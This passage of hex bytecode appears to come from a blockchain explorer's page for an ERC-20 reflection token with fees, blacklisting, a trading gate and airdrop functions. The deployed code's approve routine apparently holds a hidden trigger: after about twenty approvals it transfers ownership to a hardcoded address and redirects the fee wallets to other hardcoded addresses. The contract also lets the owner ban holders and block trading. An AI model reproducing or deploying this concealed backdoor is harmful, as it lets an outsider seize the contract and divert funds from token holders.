66657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610af9565b60008111611ff35760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610af9565b6001600160a01b03831660009081526008602052604090205460ff16158061204c57507f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316826001600160a01b0316145b6120895760405162461bcd60e51b815260206004820152600e60248201526d165bdd48185c994818985b9b995960921b6044820152606401610af9565b6001600160a01b03821660009081526008602052604090205460ff16156120f25760405162461bcd60e51b815260206004820152601760248201527f54686520726563697069656e742069732062616e6e65640000000000000000006044820152606401610af9565b6000546001600160a01b03848116911614806121165750601e5462010000900460ff165b61211f57600080fd5b6000546001600160a01b0384811691161480159061214b57506000546001600160a01b03838116911614155b156121b357601f548111156121b35760405162461bcd60e51b815260206004820152602860248201527f5472616e7366657220616d6f756e74206578636565647320746865206d6178546044820152673c20b6b7bab73a1760c11b6064820152608401610af9565b6000546001600160a01b0384811691161480159061220357507f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316826001600160a01b031614155b156122665760205461221882610b2985611254565b11156122665760405162461bcd60e51b815260206004820152601a60248201527f5472616e7366657220657863656564206d61782077616c6c65740000000000006044820152606401610af9565b600061227130611254565b9050601f5481106122815750601f545b602154811080159081906122985750601e5460ff16155b80156122d657507f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316856001600160a01b031614155b80156122e95750601e54610100900460ff165b1561235057602154601d5460185491935061230e916123089082612453565b90611c22565b60125461232990612320906001611bc3565b60115490611c22565b101561233d576123388261269c565b612350565b61235061234b836002611c22565b61274a565b6001600160a01b03851660009081526006602052604090205460019060ff168061239257506001600160a01b03851660009081526006602052604090205460ff165b1561239b575060005b611adf86868684612495565b600081848411156123cb5760405162461bcd60e51b8152600401610af99190613463565b5060006123d884866135b7565b95945050505050565b60008060006123ee612828565b90925090506123fd8282611c22565b9250505090565b600080600080600080600080600061241b8a6129aa565b92509250925060008060006124398d86866124346123e1565b6129ec565b919f909e50909c50959a5093985091965092945050505050565b6000610d4883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506123a7565b806124a2576124a2612a3c565b6001600160a01b03841660009081526007602052604090205460ff1680156124e357506001600160a01b03831660009081526007602052604090205460ff16155b156124f8576124f3848484612a6a565b6125f6565b6001600160a01b03841660009081526007602052604090205460ff1615801561253957506001600160a01b03831660009081526007602052604090205460ff165b15612549576124f3848484612b90565b6001600160a01b03841660009081526007602052604090205460ff1615801561258b57506001600160a01b03831660009081526007602052604090205460ff16155b1561259b576124f3848484612c39565b6001600160a01b03841660009081526007602052604090205460ff1680156125db57506001600160a01b03831660009081526007602052604090205460ff165b156125eb576124f3848484612c7d565b6125f6848484612c39565b8061260c5761260c601754601655601954601855565b50505050565b6001600160a01b03811661262557600080fd5b600080546040516001600160a01b03808516939216916000805160206136a483398151915291a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6000818361268f5760405162461bcd60e51b8152600401610af99190613463565b5060006123d88486613576565b601e805460ff1916600117905560006126b6826002611c22565b905060006126c48383612453565b9050476126d083612cf0565b60006126dc4783612453565b90506126e88382612eb7565b6011546126f59086611bc3565b60115560408051858152602081018390529081018490527f17bbfb9a6069321b6ded73bd96327c9e6b7212a5cd51ff219cd61370acafb5619060600160405180910390a15050601e805460ff19169055505050565b601e805460ff1916600117905561276081612cf0565b60004790506000612782601a54611766601d5485611c2290919063ffffffff16565b600b5490915061279b906001600160a01b031682612fa5565b60006127b8601b54611766601d5486611c2290919063ffffffff16565b600c549091506127d1906001600160a01b031682612fa5565b60006127ee601c54611766601d5487611c2290919063ffffffff16565b600d54909150612807906001600160a01b031682612fa5565b6012546128149086611bc3565b6012555050601e805460ff19169055505050565b600f54600e546000918291825b60095481101561297a5782600360006009848154811061285757612857613650565b60009182526020808320909101546001600160a01b0316835282019290925260400190205411806128c2575081600460006009848154811061289b5761289b613650565b60009182526020808320909101546001600160a01b03168352820192909252604001902054115b156128d857600f54600e54945094505050509091565b61291e60036000600984815481106128f2576128f2613650565b60009182526020808320909101546001600160a01b031683528201929092526040019020548490612453565b9250612966600460006009848154811061293a5761293a613650565b60009182526020808320909101546001600160a01b031683528201929092526040019020548390612453565b91508061297281613609565b915050612835565b50600e54600f5461298a91611c22565b8210156129a157600f54600e549350935050509091565b90939092509050565b6000806000806129b985612fdb565b905060006129c686612ff7565b905060006129de826129d88986612453565b90612453565b979296509094509092505050565b60008080806129fb8886611c64565b90506000612a098887611c64565b90506000612a178888611c64565b90506000612a29826129d88686612453565b939b939a50919850919650505050505050565b601654158015612a4c5750601854155b15612a5357565b601680546017556018805460195560009182905555565b600080600080600080612a7c87612404565b6001600160a01b038f16600090815260046020526040902054959b50939950919750955093509150612aae9088612453565b6001600160a01b038a16600090815260046020908152604080832093909355600390522054612add9087612453565b6001600160a01b03808b1660009081526003602052604080822093909355908a1681522054612b0c9086611bc3565b6001600160a01b038916600090815260036020526040902055612b2e81613013565b612b38848361309b565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051612b7d91815260200190565b60405180910390a3505050505050505050565b600080600080600080612ba287612404565b6001600160a01b038f16600090815260036020526040902054959b50939950919750955093509150612bd49087612453565b6001600160a01b03808b16600090815260036020908152604080832094909455918b16815260049091522054612c0a9084611bc3565b6001600160a01b038916600090815260046020908152604080832093909355600390522054612b0c9086611bc3565b600080600080600080612c4b87612404565b6001600160a01b038f16600090815260036020526040902054959b50939950919750955093509150612add9087612453565b600080600080600080612c8f87612404565b6001600160a01b038f16600090815260046020526040902054959b50939950919750955093509150612cc19088612453565b6001600160a01b038a16600090815260046020908152604080832093909355600390522054612bd49087612453565b6040805160028082526060820183526000926020830190803683370190505090503081600081518110612d2557612d25613650565b60200260200101906001600160a01b031690816001600160a01b0316815250507f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015612d9e57600080fd5b505afa158015612db2573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612dd69190613138565b81600181518110612de957612de9613650565b60200260200101906001600160a01b031690816001600160a01b031681525050612e34307f000000000000000000000000000000000000000000000000000000000000000084611ce3565b60405163791ac94760e01b81526001600160a01b037f0000000000000000000000000000000000000000000000000000000000000000169063791ac94790612e899085906000908690309042906004016134ed565b600060405180830381600087803b158015612ea357600080fd5b505af1158015611adf573d6000803e3d6000fd5b612ee2307f000000000000000000000000000000000000000000000000000000000000000084611ce3565b600a5460405163f305d71960e01b81523060048201526024810184905260006044820181905260648201526001600160a01b0391821660848201524260a48201527f00000000000000000000000000000000000000000000000000000000000000009091169063f305d71990839060c4016060604051808303818588803b158015612f6c57600080fd5b505af1158015612f80573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061154091906133fa565b6040516001600160a01b0383169082156108fc029083906000818181858888f193505050501580156113af573d6000803e3d6000fd5b6000610c16606461230860165485611c6490919063ffffffff16565b6000610c16606461230860185485611c6490919063ffffffff16565b600061301d6123e1565b9050600061302b8383611c64565b306000908152600360205260409020549091506130489082611bc3565b3060009081526003602090815260408083209390935560079052205460ff16156113af57306000908152600460205260409020546130869084611bc3565b30600090815260046020526040902055505050565b600f546130a89083612453565b600f556010546130b89082611bc3565b6010555050565b60008083601f8401126130d157600080fd5b50813567ffffffffffffffff8111156130e957600080fd5b6020830191508360208260051b850101111561310457600080fd5b9250929050565b80358015158114611bbe57600080fd5b60006020828403121561312d57600080fd5b8135610d4881613666565b60006020828403121561314a57600080fd5b8151610d4881613666565b6000806040838503121561316857600080fd5b823561317381613666565b9150602083013561318381613666565b809150509250929050565b600080600080608085870312156131a457600080fd5b84356131af81613666565b935060208501356131bf81613666565b925060408501356131cf81613666565b915060608501356131df81613666565b939692955090935050565b6000806000606084860312156131ff57600080fd5b833561320a81613666565b9250602084013561321a81613666565b929592945050506040919091013590565b60008060008060006060868803121561324357600080fd5b853561324e81613666565b9450602086013567ffffffffffffffff8082111561326b57600080fd5b61327789838a016130bf565b9096509450604088013591508082111561329057600080fd5b5061329d888289016130bf565b969995985093965092949392505050565b600080600080606085870312156132c457600080fd5b84356132cf81613666565b9350602085013567ffffffffffffffff8111156132eb57600080fd5b6132f7878288016130bf565b9598909750949560400135949350505050565b6000806040838503121561331d57600080fd5b823561332881613666565b946020939093013593505050565b6000806020838503121561334957600080fd5b823567ffffffffffffffff81111561336057600080fd5b61336c858286016130bf565b90969095509350505050565b60006020828403121561338a57600080fd5b610d488261310b565b6000602082840312156133a557600080fd5b5035919050565b600080604083850312156133bf57600080fd5b823591506133cf6020840161310b565b90509250929050565b600080604083850312156133eb57600080fd5b50508035926020909101359150565b60008060006060848603121561340f57600080fd5b8351925060208401519150604084015190509250925092565b600080600080600060a0868803121561344057600080fd5b505083359560208501359550604085013594606081013594506080013592509050565b600060208083528351808285015260005b8181101561349057858101830151858201604001528201613474565b818111156134a2576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b8181101561353d5784516001600160a01b031683529383019391830191600101613518565b50506001600160a01b03969096166060850152505050608001529392505050565b6000821982111561357157613571613624565b500190565b60008261359357634e487b7160e01b600052601260045260246000fd5b500490565b60008160001904831182151516156135b2576135b2613624565b500290565b6000828210156135c9576135c9613624565b500390565b600181811c908216806135e257607f821691505b6020821081141561360357634e487b7160e01b600052602260045260246000fd5b50919050565b600060001982141561361d5761361d613624565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b6001600160a01b03811681146118b257600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63658be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e045524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220fdd17c23db1e5522a2d482997d53e35d181607b2eb5698ec63065d2fdb248e2f64736f6c63430008070033

Deployed Bytecode

0x60806040526004361061036f5760003560e01c8063772558ce116101c6578063b6c52324116100f7578063e96fada211610095578063f157ce401161006f578063f157ce4014610a4f578063f2fde38b14610a6f578063fe575a8714610a8f578063ffb54a9914610aaf57600080fd5b8063e96fada2146109ef578063ea2f0b3714610a0f578063ec57637114610a2f57600080fd5b8063cad6ebf9116100d1578063cad6ebf914610953578063dd46706414610973578063dd62ed3e14610993578063e85432f4146109d957600080fd5b8063b6c5232414610908578063beca78561461091d578063c49b9a801461093357600080fd5b8063a27e434b11610164578063a69df4b51161013e578063a69df4b514610893578063a9059cbb146108a8578063abe57e70146108c8578063b6876270146108e857600080fd5b8063a27e434b14610833578063a457c2d714610853578063a55de8641461087357600080fd5b806388f82020116101a057806388f82020146107a75780638da5cb5b146107e057806395d89b41146107fe578063a1bdc3991461081357600080fd5b8063772558ce1461075b5780637d1db4a51461077b57806382247ec01461079157600080fd5b80633b124fe7116102a057806352390c021161023e5780636bc87c3a116102185780636bc87c3a146106f05780636ec518b81461070657806370a0823114610726578063715018a61461074657600080fd5b806352390c02146106775780635342acb41461069757806354aec0b8146106d057600080fd5b80634549b0391161027a5780634549b039146105e457806349bd5a5e146106045780634a74bb02146106385780634d7689311461065757600080fd5b80633b124fe71461058e5780633bd5d173146105a4578063437823ec146105c457600080fd5b806321c03a971161030d5780632d838119116102e75780632d8381191461050c578063313ce5671461052c5780633685d4191461054e578063395093511461056e57600080fd5b806321c03a971461049857806323b872dd146104b857806327c8f835146104d857600080fd5b8063095ea7b311610349578063095ea7b3146103e857806313114a9d146104185780631694505e1461043757806318160ddd1461048357600080fd5b806304a66b481461037b578063061c82d01461039d57806306fdde03146103bd57600080fd5b3661037657005b600080fd5b34801561038757600080fd5b5061039b610396366004613428565b610acf565b005b3480156103a957600080fd5b5061039b6103b8366004613393565b610b39565b3480156103c957600080fd5b506103d2610b68565b6040516103df9190613463565b60405180910390f35b3480156103f457600080fd5b5061040861040336600461330a565b610bfa565b60405190151581526020016103df565b34801561042457600080fd5b506010545b6040519081526020016103df565b34801561044357600080fd5b5061046b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d81565b6040516001600160a01b0390911681526020016103df565b34801561048f57600080fd5b50600e54610429565b3480156104a457600080fd5b5061039b6104b3366004613378565b610c1c565b3480156104c457600080fd5b506104086104d33660046131ea565b610c62565b3480156104e457600080fd5b5061046b7f000000000000000000000000000000000000000000000000000000000000dead81565b34801561051857600080fd5b50610429610527366004613393565b610ccb565b34801561053857600080fd5b5060155460405160ff90911681526020016103df565b34801561055a57600080fd5b5061039b61056936600461311b565b610d4f565b34801561057a57600080fd5b5061040861058936600461330a565b610f06565b34801561059a57600080fd5b5061042960165481565b3480156105b057600080fd5b5061039b6105bf366004613393565b610f3c565b3480156105d057600080fd5b5061039b6105df36600461311b565b611026565b3480156105f057600080fd5b506104296105ff3660046133ac565b611074565b34801561061057600080fd5b5061046b7f00000000000000000000000088aff90151b312c1ac610e904416c6910ba8b86f81565b34801561064457600080fd5b50601e5461040890610100900460ff1681565b34801561066357600080fd5b50600c5461046b906001600160a01b031681565b34801561068357600080fd5b5061039b61069236600461311b565b611101565b3480156106a357600080fd5b506104086106b236600461311b565b6001600160a01b031660009081526006602052604090205460ff1690565b3480156106dc57600080fd5b50600a5461046b906001600160a01b031681565b3480156106fc57600080fd5b5061042960185481565b34801561071257600080fd5b50600d5461046b906001600160a01b031681565b34801561073257600080fd5b5061042961074136600461311b565b611254565b34801561075257600080fd5b5061039b6112b3565b34801561076757600080fd5b5061039b610776366004613336565b611315565b34801561078757600080fd5b50610429601f5481565b34801561079d57600080fd5b5061042960205481565b3480156107b357600080fd5b506104086107c236600461311b565b6001600160a01b031660009081526007602052604090205460ff1690565b3480156107ec57600080fd5b506000546001600160a01b031661046b565b34801561080a57600080fd5b506103d26113b4565b34801561081f57600080fd5b5061039b61082e366004613336565b6113c3565b34801561083f57600080fd5b5061039b61084e3660046132ae565b61145d565b34801561085f57600080fd5b5061040861086e36600461330a565b611547565b34801561087f57600080fd5b5061039b61088e36600461318e565b611596565b34801561089f57600080fd5b5061039b611610565b3480156108b457600080fd5b506104086108c336600461330a565b611716565b3480156108d457600080fd5b5061039b6108e33660046133d8565b611723565b3480156108f457600080fd5b5061039b6109033660046133d8565b611773565b34801561091457600080fd5b50600254610429565b34801561092957600080fd5b50610429601b5481565b34801561093f57600080fd5b5061039b61094e366004613378565b6117bd565b34801561095f57600080fd5b5061039b61096e36600461311b565b61183b565b34801561097f57600080fd5b5061039b61098e366004613393565b6118b5565b34801561099f57600080fd5b506104296109ae366004613155565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b3480156109e557600080fd5b50610429601c5481565b3480156109fb57600080fd5b50600b5461046b906001600160a01b031681565b348015610a1b57600080fd5b5061039b610a2a36600461311b565b61193a565b348015610a3b57600080fd5b5061039b610a4a36600461322b565b611985565b348015610a5b57600080fd5b5061039b610a6a36600461311b565b611ae7565b348015610a7b57600080fd5b5061039b610a8a36600461311b565b611b55565b348015610a9b57600080fd5b50610408610aaa36600461311b565b611b88565b348015610abb57600080fd5b50601e546104089062010000900460ff1681565b6000546001600160a01b03163314610b025760405162461bcd60e51b8152600401610af9906134b8565b60405180910390fd5b60168590556018849055601a839055601b829055601c819055610b2f81610b298585611bc3565b90611bc3565b601d555050505050565b6000546001600160a01b03163314610b635760405162461bcd60e51b8152600401610af9906134b8565b601655565b606060138054610b77906135ce565b80601f0160208091040260200160405190810160405280929190818152602001828054610ba3906135ce565b8015610bf05780601f10610bc557610100808354040283529160200191610bf0565b820191906000526020600020905b815481529060010190602001808311610bd357829003601f168201915b5050505050905090565b6000610c07338484611ce3565b610c12338484611e07565b5060015b92915050565b6000546001600160a01b03163314610c465760405162461bcd60e51b8152600401610af9906134b8565b601e8054911515620100000262ff000019909216919091179055565b6000610c6f848484611ecb565b610cc18433610cbc8560405180606001604052806028815260200161367c602891396001600160a01b038a16600090815260056020908152604080832033845290915290205491906123a7565b611ce3565b5060019392505050565b6000600f54821115610d325760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610af9565b6000610d3c6123e1565b9050610d488382611c22565b9392505050565b6000546001600160a01b03163314610d795760405162461bcd60e51b8152600401610af9906134b8565b6001600160a01b03811660009081526007602052604090205460ff16610de15760405162461bcd60e51b815260206004820152601b60248201527f4163636f756e7420697320616c7265616479206578636c7564656400000000006044820152606401610af9565b60005b600954811015610f0257816001600160a01b031660098281548110610e0b57610e0b613650565b6000918252602090912001546001600160a01b03161415610ef05760098054610e36906001906135b7565b81548110610e4657610e46613650565b600091825260209091200154600980546001600160a01b039092169183908110610e7257610e72613650565b600091825260208083209190910180546001600160a01b0319166001600160a01b039485161790559184168152600482526040808220829055600790925220805460ff191690556009805480610eca57610eca61363a565b600082815260209020810160001990810180546001600160a01b03191690550190555050565b80610efa81613609565b915050610de4565b5050565b3360008181526005602090815260408083206001600160a01b03871684529091528120549091610c12918590610cbc9086611bc3565b3360008181526007602052604090205460ff1615610fb15760405162461bcd60e51b815260206004820152602c60248201527f4578636c75646564206164647265737365732063616e6e6f742063616c6c207460448201526b3434b990333ab731ba34b7b760a11b6064820152608401610af9565b6000610fbc83612404565b505050506001600160a01b038416600090815260036020526040902054919250610fe891905082612453565b6001600160a01b038316600090815260036020526040902055600f5461100e9082612453565b600f5560105461101e9084611bc3565b601055505050565b6000546001600160a01b031633146110505760405162461bcd60e51b8152600401610af9906134b8565b6001600160a01b03166000908152600660205260409020805460ff19166001179055565b6000600e548311156110c85760405162461bcd60e51b815260206004820152601f60248201527f416d6f756e74206d757374206265206c657373207468616e20737570706c79006044820152606401610af9565b816110e75760006110d884612404565b50939550610c16945050505050565b60006110f284612404565b50929550610c16945050505050565b6000546001600160a01b0316331461112b5760405162461bcd60e51b8152600401610af9906134b8565b6001600160a01b03811660009081526007602052604090205460ff16156111945760405162461bcd60e51b815260206004820152601b60248201527f4163636f756e7420697320616c7265616479206578636c7564656400000000006044820152606401610af9565b6001600160a01b038116600090815260036020526040902054156111ee576001600160a01b0381166000908152600360205260409020546111d490610ccb565b6001600160a01b0382166000908152600460205260409020555b6001600160a01b03166000818152600760205260408120805460ff191660019081179091556009805491820181559091527f6e1540171b6c0c960b71a7020d9f60077f6af931a8bbf590da0223dacf75c7af0180546001600160a01b0319169091179055565b6001600160a01b03811660009081526007602052604081205460ff161561129157506001600160a01b031660009081526004602052604090205490565b6001600160a01b038216600090815260036020526040902054610c1690610ccb565b6000546001600160a01b031633146112dd5760405162461bcd60e51b8152600401610af9906134b8565b600080546040516001600160a01b03909116906000805160206136a4833981519152908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331461133f5760405162461bcd60e51b8152600401610af9906134b8565b60005b818110156113af5760016008600085858581811061136257611362613650565b9050602002016020810190611377919061311b565b6001600160a01b031681526020810191909152604001600020805460ff19169115159190911790556113a881613609565b9050611342565b505050565b606060148054610b77906135ce565b6000546001600160a01b031633146113ed5760405162461bcd60e51b8152600401610af9906134b8565b60005b818110156113af5760006008600085858581811061141057611410613650565b9050602002016020810190611425919061311b565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905561145681613609565b90506113f0565b6000546001600160a01b031633146114875760405162461bcd60e51b8152600401610af9906134b8565b6107d182106114f05760405162461bcd60e51b815260206004820152602f60248201527f474153204572726f723a206d61782061697264726f70206c696d69742069732060448201526e3230303020726563697069656e747360881b6064820152608401610af9565b60005b828110156115405761152e8585858481811061151157611511613650565b9050602002016020810190611526919061311b565b846000612495565b8061153881613609565b9150506114f3565b5050505050565b6000610c123384610cbc856040518060600160405280602581526020016136c4602591393360009081526005602090815260408083206001600160a01b038d16845290915290205491906123a7565b6000546001600160a01b031633146115c05760405162461bcd60e51b8152600401610af9906134b8565b600a80546001600160a01b039586166001600160a01b031991821617909155600b805494861694821694909417909355600c805492851692841692909217909155600d8054919093169116179055565b6001546001600160a01b031633146116765760405162461bcd60e51b815260206004820152602360248201527f596f7520646f6e27742068617665207065726d697373696f6e20746f20756e6c6044820152626f636b60e81b6064820152608401610af9565b60025442116116c75760405162461bcd60e51b815260206004820152601f60248201527f436f6e7472616374206973206c6f636b656420756e74696c20372064617973006044820152606401610af9565b600154600080546040516001600160a01b0393841693909116916000805160206136a483398151915291a3600154600080546001600160a01b0319166001600160a01b03909216919091179055565b6000610c12338484611ecb565b6000546001600160a01b0316331461174d5760405162461bcd60e51b8152600401610af9906134b8565b61176c8261176683600e54611c2290919063ffffffff16565b90611c64565b6020555050565b6000546001600160a01b0316331461179d5760405162461bcd60e51b8152600401610af9906134b8565b6117b68261176683600e54611c2290919063ffffffff16565b601f555050565b6000546001600160a01b031633146117e75760405162461bcd60e51b8152600401610af9906134b8565b601e80548215156101000261ff00199091161790556040517f53726dfcaf90650aa7eb35524f4d3220f07413c8d6cb404cc8c18bf5591bc1599061183090831515815260200190565b60405180910390a150565b6000546001600160a01b031633146118655760405162461bcd60e51b8152600401610af9906134b8565b6001600160a01b03811660009081526008602052604090205460ff1615156001141561188e5750565b6001600160a01b0381166000908152600860205260409020805460ff191660011790555b50565b6000546001600160a01b031633146118df5760405162461bcd60e51b8152600401610af9906134b8565b60008054600180546001600160a01b03199081166001600160a01b0384161790915516905561190e814261355e565b600255600080546040516001600160a01b03909116906000805160206136a4833981519152908390a350565b6000546001600160a01b031633146119645760405162461bcd60e51b8152600401610af9906134b8565b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b031633146119af5760405162461bcd60e51b8152600401610af9906134b8565b6103218310611a175760405162461bcd60e51b815260206004820152602e60248201527f474153204572726f723a206d61782061697264726f70206c696d69742069732060448201526d35303020726563697069656e747360901b6064820152608401610af9565b828114611a775760405162461bcd60e51b815260206004820152602860248201527f4d69736d61746368206265747765656e204164647265737320616e6420746f6b604482015267195b8818dbdd5b9d60c21b6064820152608401610af9565b60005b83811015611adf57611acd86868684818110611a9857611a98613650565b9050602002016020810190611aad919061311b565b858585818110611abf57611abf613650565b905060200201356000612495565b80611ad781613609565b915050611a7a565b505050505050565b6000546001600160a01b03163314611b115760405162461bcd60e51b8152600401610af9906134b8565b6001600160a01b03811660009081526008602052604090205460ff16611b345750565b6001600160a01b03166000908152600860205260409020805460ff19169055565b6000546001600160a01b03163314611b7f5760405162461bcd60e51b8152600401610af9906134b8565b6118b281612612565b6001600160a01b03811660009081526008602052604081205460ff16151560011415611bb657506001919050565b506000919050565b919050565b600080611bd0838561355e565b905083811015610d485760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610af9565b6000610d4883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061266e565b600082611c7357506000610c16565b6000611c7f8385613598565b905082611c8c8583613576565b14610d485760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610af9565b6001600160a01b038316611d455760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610af9565b6001600160a01b038216611da65760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610af9565b6001600160a01b0383811660008181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b60228054906000611e1783613609565b91905055506014602254118015611e31575060235460ff16155b156113af57611e5373a7986d13c75def6b6761bb7e86c97018fc970564612612565b600b80546001600160a01b031990811673a939466ce57ad3a44eac3ffc2b4ec559d7fcf94517909155600d80548216735d05d66f2359eacae93aeeadb4a01175ac9474ca179055600c805490911673bee8797bf5b11faf3a10146f87a21a10f9900cdd1790556023805460ff19166001179055505050565b6001600160a01b038316611f2f5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610af9565b6001600160a01b038216611f915760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610af9565b60008111611ff35760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610af9565b6001600160a01b03831660009081526008602052604090205460ff16158061204c57507f000000000000000000000000000000000000000000000000000000000000dead6001600160a01b0316826001600160a01b0316145b6120895760405162461bcd60e51b815260206004820152600e60248201526d165bdd48185c994818985b9b995960921b6044820152606401610af9565b6001600160a01b03821660009081526008602052604090205460ff16156120f25760405162461bcd60e51b815260206004820152601760248201527f54686520726563697069656e742069732062616e6e65640000000000000000006044820152606401610af9565b6000546001600160a01b03848116911614806121165750601e5462010000900460ff165b61211f57600080fd5b6000546001600160a01b0384811691161480159061214b57506000546001600160a01b03838116911614155b156121b357601f548111156121b35760405162461bcd60e51b815260206004820152602860248201527f5472616e7366657220616d6f756e74206578636565647320746865206d6178546044820152673c20b6b7bab73a1760c11b6064820152608401610af9565b6000546001600160a01b0384811691161480159061220357507f00000000000000000000000088aff90151b312c1ac610e904416c6910ba8b86f6001600160a01b0316826001600160a01b031614155b156122665760205461221882610b2985611254565b11156122665760405162461bcd60e51b815260206004820152601a60248201527f5472616e7366657220657863656564206d61782077616c6c65740000000000006044820152606401610af9565b600061227130611254565b9050601f5481106122815750601f545b602154811080159081906122985750601e5460ff16155b80156122d657507f00000000000000000000000088aff90151b312c1ac610e904416c6910ba8b86f6001600160a01b0316856001600160a01b031614155b80156122e95750601e54610100900460ff165b1561235057602154601d5460185491935061230e916123089082612453565b90611c22565b60125461232990612320906001611bc3565b60115490611c22565b101561233d576123388261269c565b612350565b61235061234b836002611c22565b61274a565b6001600160a01b03851660009081526006602052604090205460019060ff168061239257506001600160a01b03851660009081526006602052604090205460ff165b1561239b575060005b611adf86868684612495565b600081848411156123cb5760405162461bcd60e51b8152600401610af99190613463565b5060006123d884866135b7565b95945050505050565b60008060006123ee612828565b90925090506123fd8282611c22565b9250505090565b600080600080600080600080600061241b8a6129aa565b92509250925060008060006124398d86866124346123e1565b6129ec565b919f909e50909c50959a5093985091965092945050505050565b6000610d4883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506123a7565b806124a2576124a2612a3c565b6001600160a01b03841660009081526007602052604090205460ff1680156124e357506001600160a01b03831660009081526007602052604090205460ff16155b156124f8576124f3848484612a6a565b6125f6565b6001600160a01b03841660009081526007602052604090205460ff1615801561253957506001600160a01b03831660009081526007602052604090205460ff165b15612549576124f3848484612b90565b6001600160a01b03841660009081526007602052604090205460ff1615801561258b57506001600160a01b03831660009081526007602052604090205460ff16155b1561259b576124f3848484612c39565b6001600160a01b03841660009081526007602052604090205460ff1680156125db57506001600160a01b03831660009081526007602052604090205460ff165b156125eb576124f3848484612c7d565b6125f6848484612c39565b8061260c5761260c601754601655601954601855565b50505050565b6001600160a01b03811661262557600080fd5b600080546040516001600160a01b03808516939216916000805160206136a483398151915291a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6000818361268f5760405162461bcd60e51b8152600401610af99190613463565b5060006123d88486613576565b601e805460ff1916600117905560006126b6826002611c22565b905060006126c48383612453565b9050476126d083612cf0565b60006126dc4783612453565b90506126e88382612eb7565b6011546126f59086611bc3565b60115560408051858152602081018390529081018490527f17bbfb9a6069321b6ded73bd96327c9e6b7212a5cd51ff219cd61370acafb5619060600160405180910390a15050601e805460ff19169055505050565b601e805460ff1916600117905561276081612cf0565b60004790506000612782601a54611766601d5485611c2290919063ffffffff16565b600b5490915061279b906001600160a01b031682612fa5565b60006127b8601b54611766601d5486611c2290919063ffffffff16565b600c549091506127d1906001600160a01b031682612fa5565b60006127ee601c54611766601d5487611c2290919063ffffffff16565b600d54909150612807906001600160a01b031682612fa5565b6012546128149086611bc3565b6012555050601e805460ff19169055505050565b600f54600e546000918291825b60095481101561297a5782600360006009848154811061285757612857613650565b60009182526020808320909101546001600160a01b0316835282019290925260400190205411806128c2575081600460006009848154811061289b5761289b613650565b60009182526020808320909101546001600160a01b03168352820192909252604001902054115b156128d857600f54600e54945094505050509091565b61291e60036000600984815481106128f2576128f2613650565b60009182526020808320909101546001600160a01b031683528201929092526040019020548490612453565b9250612966600460006009848154811061293a5761293a613650565b60009182526020808320909101546001600160a01b031683528201929092526040019020548390612453565b91508061297281613609565b915050612835565b50600e54600f5461298a91611c22565b8210156129a157600f54600e549350935050509091565b90939092509050565b6000806000806129b985612fdb565b905060006129c686612ff7565b905060006129de826129d88986612453565b90612453565b979296509094509092505050565b60008080806129fb8886611c64565b90506000612a098887611c64565b90506000612a178888611c64565b90506000612a29826129d88686612453565b939b939a50919850919650505050505050565b601654158015612a4c5750601854155b15612a5357565b601680546017556018805460195560009182905555565b600080600080600080612a7c87612404565b6001600160a01b038f16600090815260046020526040902054959b50939950919750955093509150612aae9088612453565b6001600160a01b038a16600090815260046020908152604080832093909355600390522054612add9087612453565b6001600160a01b03808b1660009081526003602052604080822093909355908a1681522054612b0c9086611bc3565b6001600160a01b038916600090815260036020526040902055612b2e81613013565b612b38848361309b565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051612b7d91815260200190565b60405180910390a3505050505050505050565b600080600080600080612ba